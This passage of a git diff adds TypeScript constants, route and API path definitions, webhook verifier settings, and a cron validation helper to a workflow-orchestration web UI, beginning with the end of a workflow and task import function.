t, + success: false, + message: "Task already exists", + }) + : acc, + [], + ); + + if (maybeDuplicateTasks.length > 0 || maybeDuplicateWf.length > 0) { + return { + importWorkflowResults: maybeDuplicateWf, + importTaskResults: maybeDuplicateTasks, + importUserFormResults: [], + importSchemaResults: [], + importIntegrationAndModelResults: [], + importPromptsResult: [], + }; + } + // Build the replacement operations for workflows + const workflowsChangesOperationsBeforeImport = _zip( + cardWorkflowDefinitions, + cardWorkflowDefinitionChanges, + ).map( + ([ow, cw]) => + (w: Record) => + replaceValues(w, ow!.name, cw!.name), + ); + + // Apply the replacement operations to the workflows + const workflowResults = cardWorkflowDefinitions.map( + _flow(workflowsChangesOperationsBeforeImport), + ); + + /// Integrations handling; + const [ + importWorkflowResults = [], + importTaskResults = [], + importUserFormResults = [], + importSchemaResults = [], + importIntegrationAndModelResults = [], + ] = await Promise.all([ + Promise.all( + workflowResults.map((workflowDefinition: WorkflowDef) => + importWorkflow(context, workflowDefinition), + ), + ), + Promise.all( + cardTaskDefinitions.map((taskDefinition: CommonTaskDef) => + importTask(context, taskDefinition), + ), + ), + Promise.all( + cardUserForms.map((userFormDefinition: HumanTemplate) => + importUserForm(context, userFormDefinition, []), + ), + ), + Promise.all( + cardSchemas.map((schemasDefinition: SchemaDefinition) => + importSchemas(context, schemasDefinition, []), + ), + ), + Promise.all( + cardIntegrationsAndModels.map( + (integrationAndModel: IntegrationAndModel) => + importIntegrationAndModel( + context, + integrationAndModel, + existingIntegrations, + ), + ), + ), + ]); + + // Prompts require integrations to be imported first + const importPromptsResult = await Promise.all( + cardPrompts.map((prompt: PromptDef) => importPrompt(context, prompt)), + ); + // Ask @Gulam why we needed this + // const cacheQueryKey = [fetchContext.stack, WORKFLOW_METADATA_SHORT_URL]; + // queryClient.removeQueries(cacheQueryKey); + + return { + importWorkflowResults, + importTaskResults, + importUserFormResults, + importSchemaResults, + importIntegrationAndModelResults, + importPromptsResult, + }; +}; diff --git a/ui-next/src/utils/constants.ts b/ui-next/src/utils/constants.ts new file mode 100644 index 0000000..b31b445 --- /dev/null +++ b/ui-next/src/utils/constants.ts @@ -0,0 +1,50 @@ +export const ROWS_PER_PAGE_OPTIONS = [ + "15", + "30", + "50", + "100", + "200", + "300", + "500", +] as const; + +export const MS_IN_DAY = 86400000 as const; + +export const DEFAULT_WF_ATTRIBUTES = [ + "workflow.workflowId", + "workflow.output", + "workflow.status", + "workflow.parentWorkflowId", + "workflow.parentWorkflowTaskId", + "workflow.workflowType", + "workflow.version", + "workflow.correlationId", + "workflow.variables", + "workflow.createTime", + "workflow.taskToDomain", +] as const; + +import { editor, type EditorOptions } from "shared/editor"; + +export const SMALL_EDITOR_DEFAULT_OPTIONS: EditorOptions = { + tabSize: 2, + minimap: { enabled: false }, + lightbulb: { enabled: editor.ShowLightbulbIconMode.Off }, + quickSuggestions: true, + lineNumbers: "off", + glyphMargin: false, + folding: false, + // Undocumented see https://github.com/Microsoft/vscode/issues/30795#issuecomment-410998882 + lineDecorationsWidth: 0, + lineNumbersMinChars: 0, + renderLineHighlight: "none", + overviewRulerLanes: 0, + hideCursorInOverviewRuler: true, + scrollbar: { + vertical: "hidden", + // this property is added because it was not allowing us to scroll when mouse pointer is over this component + alwaysConsumeMouseWheel: false, + }, + overviewRulerBorder: false, + automaticLayout: true, +}; diff --git a/ui-next/src/utils/constants/api.ts b/ui-next/src/utils/constants/api.ts new file mode 100644 index 0000000..11face5 --- /dev/null +++ b/ui-next/src/utils/constants/api.ts @@ -0,0 +1,25 @@ +export const WEBHOOK_API_BASE_URL = "/metadata/webhook"; +export const METADATA_MIGRATIONS_ENVIRONMENTS_API_BASE_URL = + "/metadata-migrations/environments"; +export const METADATA_MIGRATIONS_REQUEST_API_BASE_URL = + "/metadata-migrations/requests"; +export const METADATA_MIGRATIONS_API_BASE_URL = "/metadata-migrations"; +export const WORKFLOW_API_BASE_URL = "/workflow"; +export const USER_API_BASE_URL = "/users"; +export const WORKFLOW_METADATA_BASE_URL = `/metadata/workflow`; +export const WORKFLOW_METADATA_BASE_URL_SHORT = + "/metadata/workflow?short=true&metadata=true"; +export const TASK_EXECUTIONS_SEARCH_URL = "/tasks/search?"; + +const INTEGRATIONS_BASE = "/integrations"; +export const INTEGRATIONS_API_URL = { + BASE: INTEGRATIONS_BASE, + ALL: `${INTEGRATIONS_BASE}/all`, + DEF: `${INTEGRATIONS_BASE}/def`, + EVENT_STATS: `${INTEGRATIONS_BASE}/eventStats`, + PROVIDER: `${INTEGRATIONS_BASE}/provider`, +}; + +export const WORKFLOW_METADATA_SHORT_URL = + "/metadata/workflow?short=true&metadata=true"; +export const ROLES_API_BASE_URL = "/roles"; diff --git a/ui-next/src/utils/constants/common.ts b/ui-next/src/utils/constants/common.ts new file mode 100644 index 0000000..c561131 --- /dev/null +++ b/ui-next/src/utils/constants/common.ts @@ -0,0 +1,115 @@ +import { HTTPMethods } from "types/TaskType"; + +export const LOCAL_STORAGE_KEY = { + ROWS_PER_PAGE: "rowsPerPage", +}; + +export const FORBIDDEN_DELETE_ERROR_MESSAGE = + "Deletion failed, it looks like you do not have permissions to delete this resource."; + +export const FORBIDDEN_PUT_ERROR_MESSAGE = + "Update failed, it looks like you do not have permissions to update this resource."; + +export const FORBIDDEN_POST_ERROR_MESSAGE = + "Creation failed, it looks like you do not have permissions to create this resource."; + +export const FORBIDDEN_GET_ERROR_MESSAGE = + "It looks like you do not have permissions to get this resource."; + +export const generateForbiddenMessage = (method: HTTPMethods) => { + switch (method) { + case HTTPMethods.POST: + return FORBIDDEN_POST_ERROR_MESSAGE; + case HTTPMethods.PUT: + case HTTPMethods.PATCH: + return FORBIDDEN_PUT_ERROR_MESSAGE; + case HTTPMethods.DELETE: + return FORBIDDEN_DELETE_ERROR_MESSAGE; + default: + return FORBIDDEN_GET_ERROR_MESSAGE; + } +}; + +/** + * output: Feb 21, 2023 12:19 AM + */ +export const FORMAT_TIME_TO_LONG = "MMM d, yyyy hh:mm a"; + +/** + * output: 2023-11-16 12:00 AM + */ +export const FORMAT_DATE_TIME_PICKER = "yyyy-MM-dd hh:mm aa"; + +export const SEARCH_QUERY_PARAM = "search"; +export const PAGE_QUERY_PARAM = "page"; +export const FILTER_QUERY_PARAM = "filter"; +export const ACTIVE_FILTER_QUERY_PARAM = "activeFilter"; +export const USER_ROLE_FILTER_QUERY_PARAM = "roleFilter"; + +export const HTTP_TEST_ENDPOINT = + "https://orkes-api-tester.orkesconductor.com/api"; + +export const HOT_KEYS_SIDEBAR = "sidebar"; +export const HOT_KEYS_WORKFLOW_DEFINITION = "workflow-definition"; + +export const TITLE_ALLOWED_CHARS = "^(?!-)[a-zA-Z0-9_-]*$"; + +export const ALPHANUMERIC_UNDERSCORE_HYPHEN_PATTERN = "^[a-zA-Z0-9_-]*$"; +export const WORKFLOW_NAME_ERROR_MESSAGE = + "The name should contain only letters (both uppercase and lowercase), digits, spaces, and the characters <, >, {, }, #, and -. No other special characters are allowed."; + +export const TASK_NAME_ERROR_MESSAGE = + "The name should contain only letters (both uppercase and lowercase), digits, spaces, and the characters <, >, {, }, #, and -. No other special characters are allowed."; + +export const HEADER_Z_INDEX = 1000; + +export const WORKFLOW_SEARCH_QUERY_SUGGESTIONS = [ + "createTime", + "updateTime", + "createdBy", + "updatedBy", + "status", + "endTime", + "workflowId", + "parentWorkflowId", + "parentWorkflowTaskId", + "output", + "taskToDomain", + "priority", + "variables", + "lastRetriedTime", + "history", + "idempotencyKey", + "rateLimited", + "startTime", + "workflowName", + "workflowVersion", + "correlationId", +]; + +export const TASK_SEARCH_QUERY_SUGGESTIONS = [ + "taskType", + "referenceTaskName", + "retryCount", + "seq", + "pollCount", + "taskDefName", + "startDelayInSeconds", + "retried", + "executed", + "callbackFromWorker", + "responseTimeoutSeconds", + "workflowInstanceId", + "workflowType", + "taskId", + "callbackAfterSeconds", + "workerId", + "outputData", +]; + +export enum ButtonPosition { + TOP = "top", + RIGHT = "right", + BOTTOM = "bottom", + LEFT = "left", +} diff --git a/ui-next/src/utils/constants/dateTimePicker.ts b/ui-next/src/utils/constants/dateTimePicker.ts new file mode 100644 index 0000000..b9541ae --- /dev/null +++ b/ui-next/src/utils/constants/dateTimePicker.ts @@ -0,0 +1,65 @@ +export const COMMONLY_USED = { + today: { + name: "Today", + description: "Started today at 00:00 and ended before today at 23:59:59", + }, + last15Minutes: { + name: "Last 15 minutes", + description: "Started 15 minutes ago and ended before now", + }, + yesterday: { + name: "Yesterday", + description: + "Started yesterday at 00:00 and ended before yesterday at 23:59:59", + }, + last30Minutes: { + name: "Last 30 minutes", + description: "Started 30 minutes ago and ended before now", + }, + last48Hours: { + name: "Last 48 hours", + description: "Started 48 hours ago and ended before now", + }, + last1Hour: { + name: "Last 1 hour", + description: "Started 1 hour ago and ended before now", + }, + last72Hours: { + name: "Last 72 hours", + description: "Started 72 hours ago and ended before now", + }, + last4Hours: { + name: "Last 4 hours", + description: "Started 4 hours ago and ended before now", + }, + lastWeek: { + name: "Last week", + description: "Started 7 days ago and ended before now", + }, + last12Hours: { + name: "Last 12 hours", + description: "Started 12 hours ago and ended before now", + }, +}; + +export const TIME_FRAMES = { + last: "Last", + next: "Next", +}; + +export const COUNT_OPTIONS = ["1", "5", "10", "15", "30", "45"]; + +export const TIME_OPTIONS = { + seconds: "Seconds", + minutes: "Minutes", + hours: "Hours", + days: "Days", + weeks: "Weeks", + months: "Months", +}; + +export const REFRESH_TIME_OPTIONS = { + seconds: "Seconds", + minutes: "Minutes", + hours: "Hours", +}; diff --git a/ui-next/src/utils/constants/docLink.ts b/ui-next/src/utils/constants/docLink.ts new file mode 100644 index 0000000..1bb56ea --- /dev/null +++ b/ui-next/src/utils/constants/docLink.ts @@ -0,0 +1,17 @@ +export const DOC_LINK_URL = { + TASK_DEFINITION: + "https://orkes.io/content/developer-guides/tasks#task-definition", + HUMAN_TASK_USER_FORM: + "https://orkes.io/content/developer-guides/orchestrating-human-tasks#creating-user-forms", + HUMAN_TASK_SEARCH: + "https://orkes.io/content/reference-docs/api/human-tasks/search-task-list#request-body", + WEBHOOKS: "https://orkes.io/content/developer-guides/webhook-integration", + AI_PROMPTS: + "https://orkes.io/content/developer-guides/creating-and-managing-gen-ai-prompt-templates", + EVENT_HANDLER: "https://orkes.io/content/developer-guides/event-handler", + SECRETS: "https://orkes.io/content/developer-guides/secrets-in-conductor", + SCHEDULER: "https://orkes.io/content/developer-guides/scheduling-workflows", + ENV_VARIABLES: + "https://orkes.io/content/developer-guides/using-environment-variables", + REMOTE_SERVICES: "https://orkes.io/content/remote-services", +}; diff --git a/ui-next/src/utils/constants/emailContentTypeSuggestions.ts b/ui-next/src/utils/constants/emailContentTypeSuggestions.ts new file mode 100644 index 0000000..8dd5432 --- /dev/null +++ b/ui-next/src/utils/constants/emailContentTypeSuggestions.ts @@ -0,0 +1 @@ +export const EMAIL_CONTENT_TYPE_SUGGESTIONS = ["text/plain", "text/html"]; diff --git a/ui-next/src/utils/constants/event.ts b/ui-next/src/utils/constants/event.ts new file mode 100644 index 0000000..ed8a088 --- /dev/null +++ b/ui-next/src/utils/constants/event.ts @@ -0,0 +1 @@ +export const MESSAGE_BROKER = "MESSAGE_BROKER"; diff --git a/ui-next/src/utils/constants/httpStatusCode.ts b/ui-next/src/utils/constants/httpStatusCode.ts new file mode 100644 index 0000000..58fc23d --- /dev/null +++ b/ui-next/src/utils/constants/httpStatusCode.ts @@ -0,0 +1,73 @@ +export enum HttpStatusCode { + // 1xx Informational + Continue = 100, + SwitchingProtocols = 101, + Processing = 102, + + // 2xx Success + OK = 200, + Created = 201, + Accepted = 202, + NonAuthoritativeInformation = 203, + NoContent = 204, + ResetContent = 205, + PartialContent = 206, + MultiStatus = 207, + AlreadyReported = 208, + IMUsed = 226, + + // 3xx Redirection + MultipleChoices = 300, + MovedPermanently = 301, + Found = 302, + SeeOther = 303, + NotModified = 304, + UseProxy = 305, + Unused = 306, + TemporaryRedirect = 307, + PermanentRedirect = 308, + + // 4xx Client Error + BadRequest = 400, + Unauthorized = 401, + PaymentRequired = 402, + Forbidden = 403, + NotFound = 404, + MethodNotAllowed = 405, + NotAcceptable = 406, + ProxyAuthenticationRequired = 407, + RequestTimeout = 408, + Conflict = 409, + Gone = 410, + LengthRequired = 411, + PreconditionFailed = 412, + PayloadTooLarge = 413, + URITooLong = 414, + UnsupportedMediaType = 415, + RangeNotSatisfiable = 416, + ExpectationFailed = 417, + ImATeapot = 418, + MisdirectedRequest = 421, + UnprocessableEntity = 422, + Locked = 423, + FailedDependency = 424, + TooEarly = 425, + UpgradeRequired = 426, + PreconditionRequired = 428, + TooManyRequests = 429, + RequestHeaderFieldsTooLarge = 431, + UnavailableForLegalReasons = 451, + + // 5xx Server Error + InternalServerError = 500, + NotImplemented = 501, + BadGateway = 502, + ServiceUnavailable = 503, + GatewayTimeout = 504, + HTTPVersionNotSupported = 505, + VariantAlsoNegotiates = 506, + InsufficientStorage = 507, + LoopDetected = 508, + NotExtended = 510, + NetworkAuthenticationRequired = 511, +} diff --git a/ui-next/src/utils/constants/httpSuggestions.ts b/ui-next/src/utils/constants/httpSuggestions.ts new file mode 100644 index 0000000..c90a156 --- /dev/null +++ b/ui-next/src/utils/constants/httpSuggestions.ts @@ -0,0 +1,79 @@ +export const HEADER_SUGGESTIONS = [ + /* "Accept", */ + "Accept-Language", + "Authorization", + "Cache-Control", + "Content-MD5", + /* "Content-Type", */ + "From", + "If-Match", + "If-Modified-Since", + "If-None-Match", + "Max-Forwards", + "Pragma", + "If-Range", + "If-Unmodified-Since", + "Proxy-Authorization", + "Range", + "Warning", + "x-api-key", + "Accept-Charset", + "Accept-Encoding", + "Accept-Control-Request-Headers", + "Accept-Control-Request-Method", + "Content-Transfer-Encoding", + "Expect", + "Transfer-Encoding", + "Trailer", +]; + +export const CONTENT_TYPE_SUGGESTIONS = [ + "application/java-archive", + "application/EDI-X12", + "application/EDIFACT", + "application/javascript", + "application/octet-stream", + "application/ogg", + "application/pdf", + "application/xhtml+xml", + "application/x-shockwave-flash", + "application/json", + "application/ld+json", + "application/xml", + "application/zip", + "application/x-www-form-urlencoded", + "audio/mpeg", + "audio/x-ms-wma", + "audio/vnd.rn-realaudio", + "audio/x-wav", + "image/gif", + "image/jpeg", + "image/png", + "image/tiff", + "image/vnd.microsoft.icon", + "image/x-icon", + "image/vnd.djvu", + "image/svg+xml", +]; + +export const MEDIA_TYPE_SUGGESTIONS = [ + "application/pdf", + "text/html", + "text/plain", + "application/json", +]; + +export const ACCEPT_PATH = "accept"; +export const HEADERS_PATH = "headers"; +export const CONTENT_TYPE_PATH = "contentType"; +export const METHOD_PATH = "method"; +export const HEDGING_CONFIG_PATH = "hedgingConfig"; +export const SERVICE_PATH = "service"; +export const HTTP_REQUEST_PATH = "inputParameters.http_request"; +export const POLLING_STRATEGY_PATH = "pollingStrategy"; +export const WAIT_UNTIL_PATH = "inputParameters.wait.inputParameters.until"; +export const WAIT_DURATION_PATH = + "inputParameters.wait.inputParameters.duration"; +export const URI_PATH = "uri"; +export const HTTP_REQUEST_BODY = "body"; +export const HTTP_REQUEST_ENCODE = "encode"; diff --git a/ui-next/src/utils/constants/index.ts b/ui-next/src/utils/constants/index.ts new file mode 100644 index 0000000..6bcf8f1 --- /dev/null +++ b/ui-next/src/utils/constants/index.ts @@ -0,0 +1 @@ +export * from "./event"; diff --git a/ui-next/src/utils/constants/jsonSchema.ts b/ui-next/src/utils/constants/jsonSchema.ts new file mode 100644 index 0000000..0835c65 --- /dev/null +++ b/ui-next/src/utils/constants/jsonSchema.ts @@ -0,0 +1,2 @@ +export const JSON_SCHEMA_DRAFT_07_URL = + "http://json-schema.org/draft-07/schema"; diff --git a/ui-next/src/utils/constants/regex.ts b/ui-next/src/utils/constants/regex.ts new file mode 100644 index 0000000..ab4f579 --- /dev/null +++ b/ui-next/src/utils/constants/regex.ts @@ -0,0 +1,17 @@ +export const CONTAIN_VARIABLE_SYNTAX_REGEX = /^(?=.*?[${}]{1}).*$/; + +// The backend allows everything but a semicolon +// https://github.com/orkes-io/conductor/blob/f07dc36f08dcaf91cb40ea6ee211c840de5ac8f3/common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDefSummary.java#L29C24-L29C89 +// Using `()` would cause errors in querys such as: +// workflowType IN (wf_name(test), wf_name2), because the +// end parenthesis would be interpreted as the end of the +// IN clause. +export const WORKFLOW_NAME_REGEX = + /^(?! )[.A-Za-z0-9!@#$%^&*_<>{}[\]|+=\s-]+(?{}#\s-]*$/; + +// toString() here will escape some chars, +// the slice() will remove the trailing "/" from both ends +export const regexToString = (regex: RegExp): string => + regex.toString().slice(1, -1); diff --git a/ui-next/src/utils/constants/route.ts b/ui-next/src/utils/constants/route.ts new file mode 100644 index 0000000..1e9928b --- /dev/null +++ b/ui-next/src/utils/constants/route.ts @@ -0,0 +1,179 @@ +export const GET_STARTED_URL = "/get-started"; +export const HUB_URL = "/hub"; +export const WEBHOOK_ROUTE_URL = { + LIST: "/configure-webhooks", + ID: "/configure-webhooks/:id", + NEW: "/newWebhook", +}; + +export const METADATA_MIGRATION_ENVIRONMENT_URL = { + BASE: "/environment", + LIST: "/environments", + ID: "/environments/:id", + NEW: "/newEnvironment", +}; + +export const METADATA_MIGRATION_REQUEST_URL = { + BASE: "/migrationRequest", +}; + +export const NEW_TASK_DEF_URL = "/newTaskDef"; +export const TASK_DEF_URL = { + BASE: "/taskDef", + NAME: "/taskDef/:name", +}; + +export const WORKFLOW_DEFINITION_URL = { + BASE: "/workflowDef", + NAME_VERSION: "/workflowDef/:name/:version?", + NEW: "/newWorkflowDef", +}; + +export const SCHEDULER_DEFINITION_URL = { + BASE: "/scheduleDef", + NAME: "/scheduleDef/:name?", + NEW: "/newScheduleDef", +}; + +export const SCHEDULER_EXECUTION_URL = "/schedulerExecs"; + +// Embedded AgentSpan agent pages (gated by AGENTSPAN_ENABLED / conductor.integrations.ai.enabled) +export const AGENT_DEFINITION_URL = { + BASE: "/agents", +}; +export const AGENT_EXECUTIONS_URL = { + BASE: "/agentExecutions", + ID_TASK_ID: "/agentExecutions/:id/:taskId?", +}; +export const SKILLS_URL = { + BASE: "/skills", +}; +export const AGENT_SECRETS_URL = "/agentSecrets"; + +export const USER_MANAGEMENT_URL = { + BASE: "/userManagement", + TYPE_ID: "/userManagement/:type?/:id?", + LIST: "/userManagement/users", + EDIT: "/userManagement/users/:id", +}; + +export const INTEGRATIONS_MANAGEMENT_URL = { + BASE: "/integrations", + ADD: "/integrations/addIntegration", + EDIT: "/integrations/:id/integration", + EDIT_INTEGRATION_MODEL: "/integrations/:id/configuration", + EDIT_AI_MODEL: "/integrations/:id?/integration/:aiModelId", +}; + +export const AI_PROMPTS_MANAGEMENT_URL = { + BASE: "/ai_prompts", + NEW_AI_PROMPT_MODEL: "/ai_prompts/new_ai_prompt_model", + EDIT: "/ai_prompts/:id/:version?", +}; + +export const GROUP_MANAGEMENT_URL = { + BASE: "/groupManagement", + TYPE_ID: "/groupManagement/:type?/:id?", + LIST: "/groupManagement/groups", + EDIT: "/groupManagement/groups/:id", +}; + +export const APPLICATION_MANAGEMENT_URL = { + BASE: "/applicationManagement", + TYPE_ID: "/applicationManagement/:type?/:id?", + LIST: "/applicationManagement/applications", + EDIT: "/applicationManagement/applications/:id", +}; + +export const ROLE_MANAGEMENT_URL = { + BASE: "/roleManagement", + TYPE_ID: "/roleManagement/:type?/:id?", + LIST: "/roleManagement/roles", + EDIT: "/roleManagement/roles/:id", +}; + +export const EVENT_HANDLERS_URL = { + BASE: "/eventHandlerDef", + NAME: "/eventHandlerDef/:name", + NEW: "/newEventHandlerDef", +}; + +export const TASK_QUEUE_URL = { + BASE: "/taskQueue", + NAME: "/taskQueue/:name?", +}; + +export const SECRETS_URL = { + BASE: "/secrets", +}; + +export const RUN_WORKFLOW_URL = "/runWorkflow"; + +export const HUMAN_TASK_URL = { + BASE: "/human", + LIST: "/human/tasks", + TEMPLATES: "/human/templates", + TEMPLATES_NAME_VERSION: "/human/templates/:templateName/:version?", + TASK: "/human/task", + TASK_ID: "/human/task/:taskId?", + TASK_INBOX: "/human/task-inbox", +}; + +export const SCHEMAS_URL = { + BASE: "/schemas", + EDIT: "/schemas/:schemaName/:version?", + DEF: "/schemas/schemaDef", +}; + +export const REMOTE_SERVICES_URL = { + BASE: "/remote-services", + EDIT: "/remote-services/:serviceName", + NEW: "/newRemoteServiceDef", +}; + +export const SERVICE_URL = { + LIST: "/services", + EDIT: "/services/edit/:serviceId", + NEW: "/newService", + SERVICE_ID: "/services/:serviceId", + SWAGGER: "/services/:serviceId/swagger", + ROUTE_DETAILS: "/services/:serviceId/routes/*", + ROUTE_EDIT: "/services/:serviceId/edit/routes/*", + NEW_ROUTE: "/services/:serviceId/routes/new", +}; + +export const AUTHENTICATION_URL = "/authentication"; + +export const ERROR_URL = "/error"; + +export const OIDC_CALLBACK_ROUTE = "/login/oidc/callback"; + +export const WORKFLOW_EXECUTION_URL = { + BASE: "/execution", + WF_ID_TASK_ID: "/execution/:id/:taskId?", +}; + +export const TASK_EXECUTION_URL = { + LIST: "/taskExecs", +}; + +export const ENV_VARIABLES_URL = { + BASE: "/environment", +}; + +export const EVENT_MONITOR_URL = { + BASE: "/eventMonitor", + NAME: "/eventMonitor/:name", +}; + +export const WORKERS_URL = { + BASE: "/workers", +}; + +export const TAGS_DASHBOARD_URL = { + BASE: "/tags-dashboard", +}; + +export const API_REFERENCE_URL = { + BASE: "/api-reference", +}; diff --git a/ui-next/src/utils/constants/switch.ts b/ui-next/src/utils/constants/switch.ts new file mode 100644 index 0000000..0758d69 --- /dev/null +++ b/ui-next/src/utils/constants/switch.ts @@ -0,0 +1 @@ +export const SWITCH_CASE_PREFIX = "switch_case"; diff --git a/ui-next/src/utils/constants/task.ts b/ui-next/src/utils/constants/task.ts new file mode 100644 index 0000000..e513b43 --- /dev/null +++ b/ui-next/src/utils/constants/task.ts @@ -0,0 +1,12 @@ +export const TASK_STATUS = { + IN_PROGRESS: "IN_PROGRESS", + CANCELED: "CANCELED", + FAILED: "FAILED", + FAILED_WITH_TERMINAL_ERROR: "FAILED_WITH_TERMINAL_ERROR", + COMPLETED: "COMPLETED", + COMPLETED_WITH_ERRORS: "COMPLETED_WITH_ERRORS", + SCHEDULED: "SCHEDULED", + TIMED_OUT: "TIMED_OUT", + SKIPPED: "SKIPPED", + PENDING: "PENDING", +}; diff --git a/ui-next/src/utils/constants/webhook.ts b/ui-next/src/utils/constants/webhook.ts new file mode 100644 index 0000000..1d9cb91 --- /dev/null +++ b/ui-next/src/utils/constants/webhook.ts @@ -0,0 +1,155 @@ +import { TagDto } from "types/Tag"; + +export enum SOURCE_PLATFORM { + GITHUB = "Github", + MICROSOFT_TEAMS = "Microsoft Teams", + SEND_GRID = "SendGrid", + SLACK = "Slack", + STRIPE = "Stripe", + CUSTOM = "Custom", +} + +export enum VERIFIER { + SLACK_BASED = "SLACK_BASED", + SIGNATURE_BASED = "SIGNATURE_BASED", + HEADER_BASED = "HEADER_BASED", + HMAC_BASED = "HMAC_BASED", + STRIPE = "STRIPE", + SEND_GRID = "SENDGRID", +} + +export const WEBHOOK_HEADER_NAME = { + STRIPE_SIGNATURE: "Stripe-Signature", + X_HUB_SIGNATURE_256: "X-Hub-Signature-256", + AUTHORIZATION: "Authorization", +}; + +export type WebhookAuthParam = { + vendor: SOURCE_PLATFORM; + signing: string; + headerKey?: string; + secretKey?: string; + secretKeyLabel?: string; + secretValue?: string; + secretLabel?: string; + iconName: string; +}; + +export const WEBHOOK_ICON = { + [SOURCE_PLATFORM.SLACK]: "slack-icon", + [SOURCE_PLATFORM.GITHUB]: "github-icon", + [SOURCE_PLATFORM.STRIPE]: "stripe-icon", + [SOURCE_PLATFORM.SEND_GRID]: "send-grid-icon", + [SOURCE_PLATFORM.MICROSOFT_TEAMS]: "microsoft-teams-icon", + [SOURCE_PLATFORM.CUSTOM]: "default-icon", +}; + +export const WEBHOOK_AUTH_PARAMS: WebhookAuthParam[] = [ + { + vendor: SOURCE_PLATFORM.SLACK, + signing: VERIFIER.SLACK_BASED, + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.SLACK], + }, + { + vendor: SOURCE_PLATFORM.GITHUB, + signing: VERIFIER.SIGNATURE_BASED, + headerKey: WEBHOOK_HEADER_NAME.X_HUB_SIGNATURE_256, + secretLabel: "Secret", + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.GITHUB], + }, + { + vendor: SOURCE_PLATFORM.STRIPE, + signing: VERIFIER.STRIPE, + headerKey: WEBHOOK_HEADER_NAME.STRIPE_SIGNATURE, + secretValue: "endpointSecret", + secretLabel: "Endpoint secret", + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.STRIPE], + }, + { + vendor: SOURCE_PLATFORM.SEND_GRID, + signing: VERIFIER.SEND_GRID, + secretKeyLabel: "Verification key", + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.SEND_GRID], + }, + { + vendor: SOURCE_PLATFORM.MICROSOFT_TEAMS, + signing: VERIFIER.HMAC_BASED, + headerKey: WEBHOOK_HEADER_NAME.AUTHORIZATION, + secretLabel: "Security token", + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.MICROSOFT_TEAMS], + }, + { + vendor: SOURCE_PLATFORM.CUSTOM, + signing: VERIFIER.HEADER_BASED, + iconName: WEBHOOK_ICON[SOURCE_PLATFORM.CUSTOM], + }, +]; + +export interface IWebhookDTO { + id?: string; + name: string; + receiverWorkflowNamesToVersions: { [key: string]: number }; + authenticationType: string; + urlVerified?: boolean; + sourcePlatform: string; + headers?: { [key: string]: string }; + bodyKey?: string; + bodyValue?: string; + headerKey?: string; + secretKey?: string; + secretValue?: string; + verifier?: VERIFIER; + workflowsToStart?: { [key: string]: number | string }; + url?: string; + tags?: TagDto[]; +} + +export interface WebhookHistoryDTO { + eventId?: string; + matched?: boolean; + workflowIds?: string[]; + timeStamp?: number; +} + +export enum REPEATER_KEY { + HEADERS = "headers", +} + +export const GUIDE_STEPS = [ + { + id: "webhookName", + title: "Webhook Name", + description: "name for the webhook.", + }, + { + id: "webhookEvent", + title: "Workflows to receive webhook event", + description: "Workflows that are supposed to receive this webhook event.", + }, + { + id: "sourcePlatform", + title: "Source Platform", + description: "Platform from which this webhook event will be invoked.", + }, + { + id: "url", + title: "URL", + description: "URL on which the webhook event must be invoked.", + }, + { + id: "urlStatus", + title: "URL Status", + description: + "Unverified - No single event has been received on the URL. \nVerified - Either url verification is done or successful event has been received.", + }, + { + id: "startWf", + title: "Start workflow when webhook comes", + description: "Start a new workflow when the webhook event comes.", + }, + { + id: "secret", + title: "Secret", + description: "Secret will be visible only once while storing.", + }, +]; diff --git a/ui-next/src/utils/constants/workflow.ts b/ui-next/src/utils/constants/workflow.ts new file mode 100644 index 0000000..80c731f --- /dev/null +++ b/ui-next/src/utils/constants/workflow.ts @@ -0,0 +1,30 @@ +export const WORKFLOW_STATUS = { + RUNNING: "RUNNING", + COMPLETED: "COMPLETED", + FAILED: "FAILED", + TIMED_OUT: "TIMED_OUT", + TERMINATED: "TERMINATED", + PAUSED: "PAUSED", +}; + +export const ZOOMING_STEP = 0.1; + +export const TEST_TASK_TYPES = [ + "HTTP", + "HTTP_POLL", + "INLINE", + "DO_WHILE", + "DYNAMIC", + "UPDATE_SECRET", + "SWITCH", + "QUERY_PROCESSOR", + "JSON_JQ_TRANSFORM", + "LLM_TEXT_COMPLETE", + "LLM_GENERATE_EMBEDDINGS", + "LLM_GET_EMBEDDINGS", + "LLM_STORE_EMBEDDINGS", + "LLM_SEARCH_INDEX", + "LLM_INDEX_DOCUMENT", + "LLM_INDEX_TEXT", + "GET_WORKFLOW", +]; diff --git a/ui-next/src/utils/constants/workflowScheduleExecution.ts b/ui-next/src/utils/constants/workflowScheduleExecution.ts new file mode 100644 index 0000000..f631830 --- /dev/null +++ b/ui-next/src/utils/constants/workflowScheduleExecution.ts @@ -0,0 +1,5 @@ +export const WORKFLOW_SCHEDULE_EXECUTION_STATE = { + POLLED: "POLLED", + FAILED: "FAILED", + EXECUTED: "EXECUTED", +}; diff --git a/ui-next/src/utils/cronHelpers.ts b/ui-next/src/utils/cronHelpers.ts new file mode 100644 index 0000000..3d669c9 --- /dev/null +++ b/ui-next/src/utils/cronHelpers.ts @@ -0,0 +1,41 @@ +import cron from "cron-validate"; + +export const cronExpressionIsValid = ( + cronExpression: string, +): { isValid: boolean; errors: any } => { + try { + const cronResult = cron(cronExpression, { + preset: "default", + override: { + // seconds field + useSeconds: true, + // the ? alias + useBlankDay: true, + // aliases like 'mon' + useAliases: true, + // allow 'L' for last day of month + useLastDayOfMonth: true, + // allow 'W' for last day of week + useLastDayOfWeek: true, + useNearestWeekday: true, + useNthWeekdayOfMonth: true, + }, + }); + if (cronResult.isValid()) { + return { + isValid: true, + errors: null, + }; + } else { + return { + isValid: false, + errors: cronResult.getError(), + }; + } + } catch (e: any) { + return { + isValid: false, + errors: [e.message], + }; + } +}; diff --git a/ui-next/src/utils/date.ts b/ui-next/src/utils/date.ts new file mode 100644 index 0000000..6a49447 --- /dev/null +++ b/ui-next/src/utils/date.ts @@ -0,0 +1,637 @@ +import { AdapterDateFns } from "@mui/x-date-pickers/AdapterDateFns"; +import { + addMinutes, + differenceInSeconds, + Duration, + endOfDay, + format, + formatDistance, + formatDistanceToNow, + fromUnixTime, + intervalToDuration, + isValid, + parseISO, + setMilliseconds, + setMinutes, + setSeconds, + startOfDay, + subDays, + subHours, + subMinutes, +} from "date-fns"; +import { + format as formatTz, + formatInTimeZone as formatInTz, + toDate, + utcToZonedTime, + zonedTimeToUtc, +} from "date-fns-tz"; +import { isNil as 